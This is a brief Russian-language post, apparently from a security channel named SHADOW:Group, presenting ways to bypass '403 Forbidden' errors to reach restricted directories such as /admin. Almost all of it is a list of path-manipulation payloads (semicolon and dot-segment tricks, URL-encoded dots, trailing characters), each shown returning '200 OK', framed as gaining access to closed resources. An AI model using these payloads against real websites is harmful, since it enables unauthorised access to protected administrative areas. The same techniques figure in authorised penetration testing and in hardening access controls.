SHADOW:Group

​🚫 Получаем доступ к закрытым ресурсам. Способы обхода ошибки 403 (403 Forbidden)



Если при обращению к директории вы видите ошибку 403 и доступ вам закрыт:



GET

/admin -> 403 Forbidden



вы можете попробовать следующие полезные нагрузки для обхода:



GET

/accessible/..;/admin -> 200 OK

/.;/admin -> 200 OK

/admin;/ -> 200 OK

/admin/~ -> 200 OK

/./admin/./ -> 200 OK

/admin?param -> 200 OK

/%2e/admin -> 200 OK

/admin# -> 200 OK



#web